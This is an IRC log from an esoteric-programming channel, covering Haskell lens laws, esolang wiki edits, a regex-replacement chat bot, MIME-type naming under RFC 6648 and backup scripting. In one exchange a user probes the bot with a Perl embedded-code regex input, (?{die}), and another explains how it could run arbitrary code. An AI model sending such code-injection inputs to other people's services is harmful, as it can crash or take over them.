22:08:04 <olsner> iirc their ToS somehow require that public repos are open source too, but unless you actually give the project an open-source license it somehow isn't
22:08:14 -!- ^v|CedarPoint has quit (Ping timeout: 240 seconds).
22:09:03 <mroman> but open source doesn't mean I don't want to sell licenses
22:09:07 <mroman> which allow people to use
22:09:14 <mroman> I don't care if you see the code
22:09:19 <mroman> but to use it please pay me ;)
22:10:33 <mroman> not that I intend to do that right now
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22:40:47 <elliott> mroman: anyone could just remove your license-checking code
22:41:41 <elliott> if you want to argue that you can offer source code to people but legally forbid them from compiling it in their own private time without even signing a contract, well, sorry, no.
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23:23:31 <zzo38> Would it be considered as true that: A Turing machine halts if and only if it is provable that it halts.
23:23:43 <zzo38> (It looks like it to me!)
23:27:06 <fizzie> "You shall defend GitHub against any claim, demand, suit or proceeding made or brought against GitHub by a third-party alleging that Your Content, or Your use of the Service in violation of this Agreement, infringes or misappropriates the intellectual property rights of a third-party or violates applicable law, and shall indemnify GitHub for any damages finally awarded against, and for ...
23:27:12 <fizzie> ... reasonable attorney’s fees incurred by, GitHub in connection with any such claim, demand, suit or proceeding; provided [some conditions]."
23:27:15 <fizzie> I didn't know that was in there.
23:28:07 <oerjan> zzo38: that's basically a question of whether your proof system is omega-consistent
23:28:18 <oerjan> if it is, then yes, but otherwise, maybe not.
23:29:56 <oerjan> (assuming it is strong enough to test any TM for an arbitrary number of steps.
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23:30:28 <zzo38> What it looks to me is that if it is halting, then one possible proof must consist of showing that the initial state implies the next state and so on until you finally reach the halting state, therefore the initial state implies the halting state therefore it halts; another way would be for the halting state to be an axiom and the initial state to be a theorem, so the possible previous states of a state are theorems made up from the previous theor
23:32:22 <oerjan> zzo38: the problem is in the other direction, if it doesn't halt but your proof system says there exists an n such that it halts after n steps but doesn't (since it obviously cannot) actually give you the n.
23:33:02 <zzo38> In that case then it seems that the proof system is not corresponding to Turing machines then.
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01:11:28 <HackEgo> [wiki] [[Talk:RISBF]] http://esolangs.org/w/index.php?diff=40315&oldid=37843 * 173.17.62.235 * (+97)
01:13:07 <HackEgo> [wiki] [[Talk:RISBF]] http://esolangs.org/w/index.php?diff=40316&oldid=40315 * 173.17.62.235 * (+28)
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09:05:56 <myname> build a reversed trie? :D
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12:41:15 <TieSoul> also fizzie, to answer your question about my bf highlighter thing from yesterday, you can specify a file to save the code into.
12:46:37 <TieSoul> http://pasteboard.co/2uPkjgiP.png also here's a sample program highlighted.
12:47:54 <TieSoul> highlights are brighter in loops :D
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16:08:40 <blsqbot> Ain't nobody got time fo' dat!
16:08:56 <mroman> ?? just asks for the version string wth
16:08:56 <lambdabot> just asks for the version string wth
16:09:45 <mroman> blsqbot please do quit
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18:35:09 <HackEgo> [wiki] [[Talk:RISBF]] http://esolangs.org/w/index.php?diff=40317&oldid=40316 * Zzo38 * (+122)
18:35:29 <HackEgo> [wiki] [[Wordfuck]] http://esolangs.org/w/index.php?diff=40318&oldid=37556 * 173.17.62.235 * (+113) Added a Python conversion tool I made this morning.
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18:40:29 <HackEgo> [wiki] [[Wordfuck]] http://esolangs.org/w/index.php?diff=40319&oldid=40318 * 173.17.62.235 * (+664)
18:42:41 <fizzie> I'm thinking that should use word ngrams to bias the word selection to be more reasonable.
18:43:21 <fizzie> In fact, I think I'm going to have to write that, though probably tomorrow.
18:47:51 <Jafet> Those programs aren't even syntactically valid english? Weak.
18:48:49 <fizzie> Yes, that's what disappointed me too.
18:50:44 <Jafet> (https://www.cs.jhu.edu/~sam/ccs243-mason.pdf)
18:53:20 <HackEgo> [wiki] [[Placement]] N http://esolangs.org/w/index.php?oldid=40320 * 173.17.62.235 * (+774) Created page with "'''Placement''' is a programming language designed to be unusable to people who aren't at one of Earth's poles. The interpreter is connected to a GPS and accepts only three co..."
18:55:09 <HackEgo> [wiki] [[Placement]] http://esolangs.org/w/index.php?diff=40321&oldid=40320 * 173.17.62.235 * (+0)
18:56:13 <Jafet> A literal turning tarpit. I like it
18:56:45 <HackEgo> [wiki] [[Wordfuck]] http://esolangs.org/w/index.php?diff=40322&oldid=40319 * 173.17.62.235 * (-1)
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19:08:02 <TieSoul> Now I'm imagining someone traveling around the world in order to make a Hello World! Placement program.
19:08:22 <TieSoul> on a Placement shell of course
19:09:52 <Jafet> For best performance, use a stop-the-world collector
19:16:20 <TieSoul> woo, just got a new version of https://github.com/TieSoul/RubyFunge out. Now fingerprints are actually implemented in a sensible manner and it's much easier to add more fingerprints.
19:16:59 <TieSoul> oh, and I learned about attr_accessors
19:17:09 <TieSoul> which makes the ip.rb file much much shorter
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19:56:40 <TieSoul> there's another chat in which there's a bot that uses that
19:57:00 <int-e> you're in another chat you're in?
19:57:04 <TieSoul> or it was this one and it's gone now
19:57:17 <TieSoul> I'm in another chat I'm in.
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20:24:53 <HackEgo> [wiki] [[Talk:Wordfuck]] N http://esolangs.org/w/index.php?oldid=40323 * Fizzie * (+287) Converter bug report
20:24:58 <fizzie> I sure hope that reaches the author.
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20:40:58 <HackEgo> [wiki] [[Wordfuck]] http://esolangs.org/w/index.php?diff=40324&oldid=40322 * Fizzie * (+1500) /* Sample Hello World program */ There can never be too many helloes.
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21:00:42 <zzo38> Do you like the Magic: the Gathering card that in one version of the rules it tries to phase in but can't, and in another version it does phase out and in normally?
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22:00:22 <HackEgo> [wiki] [[Talk:Wordfuck]] http://esolangs.org/w/index.php?diff=40325&oldid=40323 * 173.17.62.235 * (+212)
22:02:38 <HackEgo> [wiki] [[Wordfuck]] http://esolangs.org/w/index.php?diff=40326&oldid=40324 * 173.17.62.235 * (+4)
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22:11:50 <HackEgo> [wiki] [[Wordfuck]] http://esolangs.org/w/index.php?diff=40327&oldid=40326 * 173.17.62.235 * (+0) fixed converter
22:16:31 <HackEgo> [wiki] [[BrainCursion]] http://esolangs.org/w/index.php?diff=40328&oldid=40296 * 212.95.7.162 * (+27) /* Computational class */ no need for '('
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23:18:04 <Sgeo> @undo (\f -> do { old <- get; val <- f; set old})
23:18:05 <lambdabot> (\ f -> get >>= \ old -> f >>= \ val -> set old)
23:18:29 <Sgeo> @undo (\f -> do { old <- get; val <- f; set old; return val})
23:18:30 <lambdabot> (\ f -> get >>= \ old -> f >>= \ val -> set old >> return val)
23:18:37 <Sgeo> That did not make it any less eww.
23:19:46 <fizzie> @. pl undo (\f -> do { old <- get; val <- f; set old; return val})
23:19:47 <lambdabot> (get >>=) . (. ((. return) . (>>) . set)) . (>>=)
23:20:11 <fizzie> Well, that's very clear.
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23:21:48 <zzo38> \f -> (get <* f) <>>= set (it uses a <>>= which I have made up for this purpose)
23:22:03 <zzo38> O no that's not it either
23:24:25 <zzo38> \f -> snd <$> (liftPair (get, f) <>>= set . fst) (is that it???)
23:28:43 <zzo38> liftPair (x, y) = liftA2 (,) x y; --or-- a <*> b = (\(x, y) -> x y) <$> liftPair (a, b);
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23:29:25 <zzo38> a <>>= b = a >>= \x -> x <$ b x;
23:29:54 <lambdabot> ‘>>=’ (imported from Control.Monad.Writer),
23:30:03 <lambdabot> (MonadState s m, Monoid r) => LensLike' ((,) r) s r -> r -> m r
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23:32:52 <zzo38> As you can see, <<>= is not the one I meant, clearly
23:34:36 <oerjan> i recall your operator from earlier
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23:39:55 <lambdabot> (Zoom m n s t, Control.Lens.Internal.Zoom.Zoomed n ~ Control.Lens.Internal.Zoom.Zoomed m) => LensLike' (Control.Lens.Internal.Zoom.Zoomed m c) t s -> m c -> n c
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23:55:35 <oerjan> :t \t f g -> getCompose . t (Compose . fmap f . g)
23:55:37 <lambdabot> Not in scope: data constructor ‘Compose’
00:00:22 <zzo38> Is there such a thing as a filesystem module for SQL?
00:00:49 <zzo38> (So that you can load it using CREATE VIRTUAL TABLE and then use SELECT to list files, UPDATE to rename files, etc)
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00:06:36 <oerjan> :t \g s -> s <$ g s -- is this a legal traversal? it breaks the first _lens_ law, of course.
00:06:38 <lambdabot> Functor f => (a -> f b) -> a -> f a
00:07:05 <oerjan> @let ignoreResult g s = s <$ g s
00:08:12 <oerjan> :t \f -> zoom ignoreResult f
00:08:14 <lambdabot> (Zoom m n t t, Functor (Control.Lens.Internal.Zoom.Zoomed m c), Control.Lens.Internal.Zoom.Zoomed n ~ Control.Lens.Internal.Zoom.Zoomed m) => m c -> n c
00:08:33 <int-e> I guess the reason that Data.Functor.* are not used by \-bot is that the imports are based on mtl, not transformers.
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00:08:35 <oerjan> i think that's essentially Sgeo's function
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00:11:52 <oerjan> but i am uncertain what fmap (t f) . t g ≡ getCompose . t (Compose . fmap f . g)
00:12:13 <oerjan> really means, and if t = ignoreResult satisfies it.
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00:13:29 <oerjan> that cannot really be anything other than pure, so the first traversal law holds
00:13:36 <elliott> oerjan: you can view it as morally t (fmap f . g) I think
00:13:40 <elliott> it's just using functor composition
00:14:08 <elliott> it would become (\s -> fmap (s <$) (g s)) I think
00:17:11 <int-e> \t f g -> getCompose . t (Compose . fmap f . g) <-- the point of Compose is that every use of fmap in 't' on the argument becomes fmap . fmap instead.
00:18:11 <oerjan> fmap (t f) (t g s) = fmap (t f) (s <$ g s) = t f s <$ g s, i think
00:19:27 <oerjan> getCompose (t (Compose . fmap f . g) s) = getCompose (s <$ Compose (fmap f (g s)))
00:19:33 <int-e> is anything known about 't'?
00:19:58 <oerjan> int-e: t h s = s <$ h s, t = ignoreResult above
00:21:20 <oerjan> = fmap (fmap (const s)) (fmap f (g s)) if i understood int-e correctly
00:22:15 <oerjan> = fmap (fmap (const s) . f) (g s)
00:23:26 <oerjan> = fmap (\s' -> s <$ f s') (g s)
00:24:38 <oerjan> i'm not convinced that's the same as (s <$ f s) <$ g s
00:25:32 <int-e> with q n = [1..n :: Int], fmap (t q) . t q $ 2 == [[2,2],[2,2]] while getCompose . t (Compose . fmap q . q) $ 2 == [[2],[2,2]]
00:30:38 <oerjan> > let s = 2; g n = [1..n] in fmap (fmap (const s) . f) (g s)
00:30:39 <lambdabot> Could not deduce (Debug.SimpleReflect.Expr.FromExpr (f a0))
00:30:40 <lambdabot> arising from the ambiguity check for ‘e_121’
00:30:40 <lambdabot> from the context (Debug.SimpleReflect.Expr.FromExpr (f a),
00:31:17 <oerjan> > let s = 2; q n = [1..n] in fmap (fmap (const s) . q) (q s)
00:31:42 <oerjan> > let s = 2; q n = [1..n] in (s <$ q s) <$ q s
00:31:56 <oerjan> at least my simplifications give the same thing
00:32:27 <elliott> oerjan: basically the traversal laws are like the functor laws
00:32:32 <elliott> the pure one is identity and this one is composition
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00:34:38 <int-e> > let q n = [1..n] in (q (q 2), q (map (const 2) (q 2)))
00:34:40 <lambdabot> No instance for (GHC.Show.Show b0)
00:34:40 <lambdabot> arising from a use of ‘M124707236027649399331234.show_M1247072360276493993...
00:34:40 <lambdabot> The type variable ‘b0’ is ambiguous
00:34:40 <lambdabot> Note: there are several potential instances:
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00:34:56 <int-e> > let q n = [1..n] in (map q (q 2), map q (map (const 2) (q 2)))
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01:57:18 <HackEgo> [wiki] [[Cork]] M http://esolangs.org/w/index.php?diff=40329&oldid=40314 * Oerjan * (+81) fmt
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02:03:44 <HackEgo> [wiki] [[BrainCursion]] M http://esolangs.org/w/index.php?diff=40330&oldid=40328 * Oerjan * (+12) fmt
02:05:06 <HackEgo> [wiki] [[BrainCursion]] M http://esolangs.org/w/index.php?diff=40331&oldid=40330 * Oerjan * (+25) missed two, also spellling
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02:23:59 <zzo38> I have written a part of a compiler with many optimizations; what else I want to do is to make something to reorder the instructions in the way that can cause the optimization to be improved.
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04:40:46 <J_Arcane> I should've known this would be taken already. XD
04:41:08 <J_Arcane> http://esolangs.org/wiki/Numberwang_%28brainfuck_derivative%29
04:52:33 <pikhq> That's numberwang!
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05:44:46 <J_Arcane> I've been invited to a programming challenge to try and come up with the best sample code built with the original Dartmouth BASIC. Though I might try an esolang, but Dartmouth only supports numeric input.
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05:54:00 <zzo38> There are numeric esolang too.
06:09:52 <Jafet> Implement bancstar
06:20:59 <zzo38> I have just made up a new kind of poker game. It is: Each player gets five cards. Each player expose a card, and then bet, and then can discard/draw, expose another card, bet, deal a community card, discard/draw, expose, bet, discard/draw, expose, bet, showdown.
06:22:23 <zzo38> When you expose you can choose which card to expose, and when you discard/draw you can choose none or up to all of your unexposed cards to discard, and draw replacements. If there is four players then it is not allowed to discard all of your unexposed cards at once (but once one player is eliminated, it is then allowed).
06:38:29 <J_Arcane> Jafet: ... if ever you wanted further proof of the evils of the banking industry, one need only look at their programming software ...
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06:46:03 <zzo38> BANCSTAR does not look to be *that* bad for its intended application. There are some problems, such as lack of documentation, limitations in the number of strings/variables (this could be fixed by making a 32-bit version of BANCSTAR), the file format (no comments or macros are possible), and the hard-coded data formats
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08:57:39 <HackEgo> [wiki] [[User:Fizzie]] http://esolangs.org/w/index.php?diff=40332&oldid=40275 * Fizzie * (+0) Upgrade to MediaWiki 1.22.9, start thinking about 1.23.
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11:07:11 <DootBot> TieSoul: TieSoul actually meant: Yay, Dootcreation is my creation :P
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11:08:57 <ais523> how does it compare to fungot?
11:09:09 <TieSoul> it can do s/regex/replacement though
11:09:15 <fizzie> Having it recognize unterminated s/// expressions and then be both case-insensitive and global by default is rather dubious.
11:09:32 <DootBot> TieSoul: TieSoul actually meant: very very well
11:09:46 <DootBot> TieSoul: fizzie actually meant: Having it recognize unterminated s/// expressions and then be both case-insensitive and global by default is rather genius.
11:09:51 <fizzie> It's not supposed to be "s/regex/replacement", it's supposed to be "s/regex/replacement/".
11:10:08 <TieSoul> I should probably change that then
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11:10:48 <fizzie> And the implementation seems to be more akin to s/regex/replacement/ig. Though I'm sure it's mostly going to be the Perlists that complain.
11:11:20 <fizzie> Welp, off to a thing. ->
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11:12:42 <TieSoul> lemme see if it still works
11:12:49 <DootBot> TieSoul: TieSoul actually meant: lemme try if it still works
11:12:57 <DootBot> TieSoul: TieSoul actually meant: lemme see if it still works
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11:15:01 <TieSoul> empty replacements didn't work just now.
11:15:06 <DootBot> TieSoul: TieSoul actually meant: empty didn't work just now.
11:16:06 <DootBot> TieSoul: TieSoul actually meant: empty replacements didn't work just now.
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11:26:22 <ais523> well, it's not implementing Perl regexes correctly
11:31:13 <DootBot> fizzie: fizzie actually meant: c b c b c
11:31:20 <fizzie> Still case-insensitive and global, I see.
11:33:38 <DootBot> ais523: ais523 actually meant: test 2
11:33:43 <DootBot> ais523: ais523 actually meant: te1t 2
11:35:43 <TieSoul> It uses Ruby's Regexp.new(string) for regexes, I don't see why s/(?{die})how/why/ didn't get accepted.
11:37:22 <TieSoul> it gives an error: Undefined group option: /(?{die})how/i
11:38:37 <ais523> because the (?{}) option is for running arbitrary Perl embedded into a regex
11:38:40 <Jafet> Internet relay slashes
11:39:00 <ais523> so it's not surprising that Ruby, not wanting to carry a whole Perl interpreter, doesn't implement it
11:39:08 <ais523> the "die" would cause the bot to break the connection if it ran
11:39:32 <HackEgo> [wiki] [[Brainfuck]] http://esolangs.org/w/index.php?diff=40333&oldid=39370 * Rdebath * (+7128) Okay, as no one said anything I'll assume you like it.
11:39:43 <ais523> thus demonstrating the vulnerability without anyone being able to exploit it
11:45:53 <ais523> although, Perl is pretty much immune to that sort of situation nowadays, because that feature requires a pragma to be in scope to work if the expression to evaluate isn't hardcoded
11:48:03 <DootBot> Commands for me: http://pastebin.com/gs35MvVb
11:51:59 <ais523> btw, I did some maintenance on C-INTERCAL recently
11:52:10 <ais523> automake's a Red Queen situation, you have to keep moving just to stay still
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11:57:21 <TieSoul> Anyway, I'm going to test some stuff for DootBot now
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12:12:50 <TieSoul> sorry about all the reconnecting
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12:24:11 <TieSoul> alright, I'm gonna test something
12:24:14 <DootBot> Log since connection: http://pastebin.com/5BpjUM6T
12:24:26 <DootBot> TieSoul: TieSoul actually meant: alright, I'm gonna not test something
12:24:28 <DootBot> Log since connection: http://pastebin.com/xnyvruWd
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13:20:03 <HackEgo> [wiki] [[Feather]] http://esolangs.org/w/index.php?diff=40334&oldid=35254 * Rdebath * (+283) Make the IRC text easier to read; turn on wrapping.(PS: Sounds like Forth)
13:22:15 <oerjan> It will have been Forth all along!
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13:23:44 <ais523> no, this is /not/ a good time for me to think about Feather
13:23:50 <ais523> especially as I've been thinking about scapegoat recently
13:24:56 <oerjan> *MWAHAHAHAHAAHAHAHAAHAAHAAAAAHAAA*CACK*COUGH**
13:25:25 <J_Arcane> ais523: heh. That actually does remind me why I never managed to get into Smalltalk either ...
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13:27:04 <ais523> <ais523> (write ominously about self in third person (also, we could really do with an explanation/warning here, rather than the previous inadequate explanation); horizontal scrolling left in to deter casual readers)
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16:50:57 <DootBot> TieSoul: Log: https://gist.githubusercontent.com/anonymous/d457e6cbc5e60e0d409c/raw/01cff627f53f11b40335857776d783911950e9b4/a.rb
16:51:36 <TieSoul> though the order of posts is all wrong
16:51:38 <DootBot> TieSoul: Log: https://gist.githubusercontent.com/anonymous/d6958c1ab0a0550f3ae1/raw/ec7353855a3e65c4815355f0596ffba5c71e74d7/a.rb
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17:02:10 <elliott> you know we already have logbots, right? :p
17:02:11 -!- DootBot has joined.
17:02:24 <elliott> I'm not sure that's an appropriate use of gists.
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17:03:28 <TieSoul> I know but pastebin has a limit
17:03:39 <TieSoul> and I'm too lazy to find an alternative
17:04:39 <elliott> http://esolangs.org/w/index.php?diff=40333&oldid=39370 holy crap
17:04:43 <elliott> there has to be a better way to do this than that
17:05:24 <fizzie> There are bots that use sprunge.us for (overlong) replies; it's easy to use, doesn't have any particular limits that I know of, and expires pastes so that they don't clutter up things for the rest of time.
17:06:03 * elliott wonders what on earth value people find in BF syntax highlighting of individual instructions
17:07:03 <Bike> i feel like there's probably some css insanity that could be used to make that less shitty looking
17:07:07 <elliott> * (bug 45020) Make preferences "Add pages I create and files I upload to my watchlist" and "pages and files I edit" true by default.
17:07:10 <elliott> * (bug 45022) Make preference "Email me when a page or file on my watchlist is changed" true by default.
17:07:29 <fizzie> I noticed that in the changelog.
17:07:38 <fizzie> And wondered whether it affects existing accounts.
17:07:41 <elliott> I hope they're doing that for Wikipedia.
17:08:00 <elliott> next wikimedia fundraiser: "please give us enough to buy ten mail servers"
17:08:20 <fizzie> "Please give us enough to buy a spam botnet"
17:08:24 <fizzie> Bike: You can relax for a while, it's a 1.23 change and not yet in.
17:11:22 <elliott> tbf, the watchlist change is probably good enough for small wikis, just not the email one
17:15:20 -!- J_Arcane has joined.
17:16:09 <fizzie> Also re BF syntax highlighting of individual instructions, it can make it more obvious if you've accidentally included an instruction in a comment.
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17:17:49 <mroman> Does anybody have a list of esolangs and their corresponding file extension(s)?
17:18:11 <mroman> I'm trying to work them into an ESOSC recommendation
17:20:11 <elliott> you can feed me languages and I'll output file extensions.
17:20:27 <elliott> fizzie: ok, but different colours?
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17:21:00 <elliott> fizzie: I can see highlighting [] differently and non-instructions differently. but highlighting +- differently from <> differently from ,. seems a little silly.
17:27:24 <fizzie> Though I guess maybe you can see contiguous sequences more clearly? It's a pretty marginal benefit.
17:28:52 <impomatic_> I think the Codu logs are still down :-(
17:38:01 <TieSoul> hey fizzie, would you happen to know how to use sprunge in Ruby?
17:41:57 <TieSoul> also, the logging function is mainly for another chat DootBot's in.
17:51:00 <mroman> mime-types'll probably be application/x.esolang-brainfuck
17:51:15 <mroman> mainly because x doesn't require registration
17:55:36 <mroman> I could run a file extension finder through the esoteric file archive
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18:07:36 <mroman> http://codepad.org/0FHZnZfa
18:07:42 <mroman> ^- extensions in the git erpo
18:09:20 -!- mauris has quit (Ping timeout: 255 seconds).
18:17:25 <fizzie> TieSoul: I don't really know about Ruby, but sprunge needs a single POST request, so any generic HTTP client should make it p. easy.
18:18:17 <fizzie> "application/x.foo" seems weird, aren't those usually "application/x-foo"?
18:20:25 <fizzie> mroman: The "standard" (recommended) file extension for Befunge-98 is .b98. There's probably not a well-established extension for {Une,Tre}funge-98 files.
18:21:09 <mroman> fizzie: I think x- is deprecated
18:22:45 <Deewiant> fizzie: PyFunge has used .u98 and .t98 for auto-detecting dimensionality (and CCBI's test suite has used .t98)
18:22:45 <mroman> http://tools.ietf.org/html/rfc4288#section-3.4
18:23:01 <fizzie> I think I've seen a .t98 file somewhere.
18:23:30 <fizzie> mroman: Well, that doesn't exactly prefer x. over x-.
18:24:31 <mroman> it discourages x. and x-
18:24:41 <mroman> but prs. requires a registration
18:25:07 <fizzie> Yes. But it doesn't encourage "x." over "x-", just allows it "for convenience and symmetry" with the vnd. and prs. trees.
18:25:12 <mroman> I could try register a mime type
18:25:36 <fizzie> I don't think I've ever seen a "x." subtype, and there are none in my mime.types list, but there are 247 types with the "x-" prefix.
18:26:38 <elliott> including "esolang-" in the MIME types is inappropriate.
18:27:23 <fizzie> Some random Swedish guy has registered an audio/prs.sid type.
18:30:02 <mroman> application/prs.esolang.brainfuck?
18:30:06 <mroman> doesn't sound much better :)
18:30:40 <HackEgo> [wiki] [[Talk:EOF]] http://esolangs.org/w/index.php?diff=40335&oldid=19996 * Rdebath * (+799) The devil is in the details.
18:32:44 <elliott> mroman: application/multiparadigm-c++
18:32:58 <elliott> application/concatenative-factor
18:33:13 <elliott> presumably you can see the problem here
18:33:47 <elliott> application/x-brainfuck is my recommendation
18:34:10 <Jafet> x-brainfucking-brainfuck
18:34:41 <mroman> http://tools.ietf.org/html/rfc6648 deprecates x-
18:35:14 <mroman> but it also deprecates x.
18:37:27 <mroman> the only non-deprecated official possibility is application/prs.eso
18:37:28 <elliott> is that in MIME types too?
18:37:35 <mroman> and than we own every sub-type within prs.eso
18:37:37 <elliott> that RFC would have you use application/brainfuck instead.
18:37:40 <mroman> i.e application/prs.eso.brainfuck
18:38:02 <mroman> elliott: yes, but that requires registration of every esolang :)
18:38:09 <elliott> mroman: no. you misunderstand the point of the RFC
18:38:34 <elliott> it is not "eliminate unregistered names", it is "eliminate the textual distinction between registered and unregistered names".
18:39:17 <elliott> 3. Does not recommend against the practice of private, local,
18:39:17 <elliott> preliminary, experimental, or implementation-specific parameters,
18:39:17 <elliott> only against the use of "X-" and similar constructs in the names
18:39:19 <elliott> 4. Makes no recommendation as to whether existing "X-" parameters
18:39:22 <elliott> ought to remain in use or be migrated to a format without the
18:39:24 <elliott> "X-"; this is a matter for the creators or maintainers of those
18:40:16 <elliott> Creators of new parameters to be used in the context of application
18:40:16 <elliott> 1. SHOULD assume that all parameters they create might become
18:40:16 <elliott> standardized, public, commonly deployed, or usable across
18:40:18 <elliott> 2. SHOULD employ meaningful parameter names that they have reason to
18:40:21 <elliott> believe are currently unused.
18:40:24 <elliott> 3. SHOULD NOT prefix their parameter names with "X-" or similar
18:40:34 <elliott> the intent is clear: use application/brainfuck, whether registered or not
18:40:51 <mroman> what's the point of the registration process then?
18:41:18 <elliott> what's the purpose of describing protocols that are already in use in an RFC?
18:41:29 <elliott> the answer is dependent wholly on your opinion of standardisation.
18:41:40 <mroman> who describes protocol already in use in an RFC?
18:41:45 <elliott> stuff is usually used before it becomes standardised; existing protocols are the root of RFCs.
18:42:10 <elliott> RFCs generally do not describe protocols nobody has used in practice.
18:43:00 <mroman> not using an esolang- prefix however, could lead to collisions with existing mime types
18:43:06 <elliott> also note that an RFC like the one you linked, coming later than RFCs it contradicts and being about deprecation, is obviously intended to reflect changed beliefs and intent
18:43:30 <elliott> esolang- is as inappropriate as concatenative- and multiparadigm-. the classification as an esolang is subjective metadata
18:43:50 <elliott> you should at least google for MIME types to see if they're used for other things before using them, of course
18:43:57 <elliott> (I'm not sure what the point of all of this is though.)
18:48:13 <Jafet> http://esolangs.org/wiki/x-D
18:50:50 <mroman> elliott: I'm working towards something like codepad for esolangs
18:52:15 <mroman> incl. an API through which you can submit files and the language is detected based on the MIME-Type
18:52:19 <mroman> at least that's the plan :)
18:54:59 <fizzie> The fact that RFC6648 "Does not override existing specifications that legislate the use of "X-" for particular application protocols" does make it sound like you should at least attempt to follow the RFCs specifically about MIME types, such as RFC6838, which (a) deprecate "x-" and "x." to reflect the ideas of RFC6648, and (b) provide the faceted trees like vnd. for "media types associated with ...
18:55:05 <fizzie> ... publicly available products", and prs. for "media types created experimentally or as part of products that are not distributed commercially".
18:55:08 <fizzie> Though clearly the concept of brainfuck source code is not associated with any particular product (either commercial or non-), and application/brainfuck should be the "correct" MIME type for it.
18:55:12 <fizzie> Of course I'm not sure what the MIME type is for. If it's going to be used strictly internally within the system, you can use the x. tree for "private, local environments".
18:55:21 <mroman> yeah. Brainfuck belongs into the standards tree
18:55:48 <elliott> fizzie: doesn't that mean legislating "x-something" for some specific value of something?
18:55:55 <mroman> but i was under the impression that it's discouraged to just invent a mime-type on your own in the standard tree
18:56:25 <elliott> fizzie: it seems like a rather ineffectual RFC if it doesn't override things that said to use x- in the past
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18:58:07 <fizzie> elliott: The example it mentions ("the "x-name" token in [RFC5545]") that it's not overriding is not for a specific value of something, since it just reserves all "X-" in that context "for experimental use".
18:58:34 <fizzie> elliott: I believe the intention is that individual protocols should update themselves to follow the RFC6648 practices as they see fit.
19:05:57 <fizzie> I wonder if I can get out the list of later documents referring to 6648 itself from the system somehow. Neither of the rfc-editor.org or tools.ietf.org sites make that obvious.
19:06:06 <fizzie> They have the graph, since they've cross-linked the references.
19:07:35 <elliott> is just downloading all the RFCs is a thing you can do?
19:08:02 <fizzie> I think there was an officially sanctioned bulk download way.
19:08:46 <fizzie> http://tools.ietf.org/rfc/mini-index best page
19:09:01 <fizzie> Esp. with visited links indicated in different color.
19:09:10 <fizzie> You can make it your goal to turn the whole page red.
19:10:13 <elliott> I was assuming it'd be a list with titles.
19:10:59 <elliott> only O5's are allowed to view rfc 0
19:11:11 <fizzie> Deewiant: The gaps in the biggest numbers probably reflect some sort of a queue somewhere, but I don't know about the middle gaps.
19:11:32 <fizzie> If you navigate to them, it just says "RFC X was never issued."
19:11:52 <fizzie> Which is not a suspicious reply at all, no.
19:11:54 <zzo38> Maybe they were rejected?
19:12:17 <zzo38> Or the numbers are used for things other than RFCs
19:12:46 <elliott> definitely firmly believing that RFCs are just a front for the SCP Foundation now. it makes too much sense
19:13:11 <zzo38> Although they could be secret too like you mention
19:13:20 <fizzie> rfc-editor's index also includes those numbers but says "Not Issued".
19:15:05 <fizzie> "There is a short list of RFC numbers that were issued to documents that were never actually published. This explains the occasional gap between numbers. The current procedures are set up to try very hard to avoid this situation in the future; in particular, RFC numbers are never reserved, rather they are assigned at the last moment in the editorial process."
19:15:06 <newsham> obama was part of the OSI stack?
19:15:16 <fizzie> That's the official explanation for the sheeple, of course.
19:15:17 <Vorpal> fizzie, for the early ones I believe that institutions reserved IDs in advance, but some were then never released. But I thought that changes after a couple of years from the first RFC to not reserve a number in advance of publication.
19:15:48 <elliott> they weren't published because they were too dangerous.
19:16:23 <zzo38> Maybe the government deleted them...
19:16:27 <fizzie> There's still some gaps even up there in quite high numbers, ones that are not in the "short list".
19:17:35 <fizzie> And those numbers are even not in the rfc-editor's list, they're just left out completely.
19:19:58 <fizzie> "Authors' Final Review (AUTH48 State): Once an RFC has been edited [and given a number] and is ready for publication, the author(s) are given "48 hours" (in practice, this often stretches over weeks) to look over their document for errors, editorial and otherwise."
19:20:18 <fizzie> Perhaps the late missing numbers are just cases of having very long 48 hours.
19:35:45 <mroman> This action has been automatically identified as harmful, and therefore disallowed. If you believe your action was constructive, please inform an administrator of what you were trying to do. A brief description of the abuse rule which your action matched is: an edit to a user page makes it start with an h2 tag
19:36:02 <HackEgo> [wiki] [[User:Feuermonster]] http://esolangs.org/w/index.php?diff=40336&oldid=33225 * Feuermonster * (+111) + url.
19:37:50 <HackEgo> [wiki] [[User:Feuermonster]] http://esolangs.org/w/index.php?diff=40337&oldid=40336 * Feuermonster * (+26) /* Others */ My mirror is deprecated
19:37:56 <Jafet> SCP is everywhere, it seems
19:38:17 <mroman> my wikidump mirror is up and running again though
19:50:14 <mroman> but I can't afford to keep a 10day backup
19:50:28 <mroman> I'll have to tune it down to 6days
19:56:24 <mroman> technically this is a huge DoS vulnerability for my server
19:56:37 <mroman> if you smuggle me a 40GB file to download my server will crash
20:04:18 <fizzie> I'll keep that in mind.
20:04:57 <fizzie> (Also I don't think the number of days matters terribly much, as long as it won't throw away old files if it can't download a new one.)
20:06:13 -!- MindlessDrone has quit (Quit: MindlessDrone).
20:06:21 <fizzie> (The schedule does not need to be uniform if you want to balance both temporal coverage and freshness, but that's getting quite fancy.)
20:08:26 <mroman> my script just deletes files that are older than a threshold :)
20:12:05 <mroman> I could extend it to not delete files if there aren't at least 3 left
20:15:26 <mroman> If somebody knows how to achieve that with shellscript :)
20:15:46 <mroman> probably with wc ore something
20:20:53 <mroman> how can I do `foo | wc -l` > 4?
20:21:09 <mroman> if [ `foo | wc -l` -gt 4 ] isn't exactly working
20:22:51 <fizzie> That should be correct, and it works in my (albeit brief) test.
20:23:48 <fizzie> http://sprunge.us/dUfj
20:24:24 <fizzie> Where "yes | head -n N" is just a silly way to get something with N lines.
20:28:34 <elliott> mroman: you can store them incrementally
20:28:37 <elliott> e.g., with rdiff-backup or something
20:28:49 <zzo38> And there is no SQL module for listing files?
20:28:58 <elliott> one day is like a few kilobytes at most
20:29:03 <elliott> you don't need to duplicate everything
20:29:13 <zzo38> If there is then probably it can do some of these things at least; with more extensions it can do more.
20:31:33 <mroman> elliott: 6 days back should be enough
20:31:41 <mroman> I've now even added a safety guard
20:31:45 <elliott> you're still wasting tons of space.
20:31:57 <mroman> so it doesn't delete old stuff if it couldn't download new stuff
20:32:09 <elliott> there is no reason to keep more than one day, really, anyway.
20:32:18 <elliott> modulo an admin going on a deletion spree
20:32:20 <Jafet> 0.5GB? That's a few ounces of space
20:32:34 <mroman> 0.5GB is 25% of my total space
20:34:08 <mroman> I should change my hoster someday
20:34:18 <mroman> it's utterly overpriced for 300MB RAM and 4GB diskspace
20:34:29 <mroman> today you can get triple that for half the money
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20:34:32 <fizzie> 0.5GB is not 25% of 4GB, though.
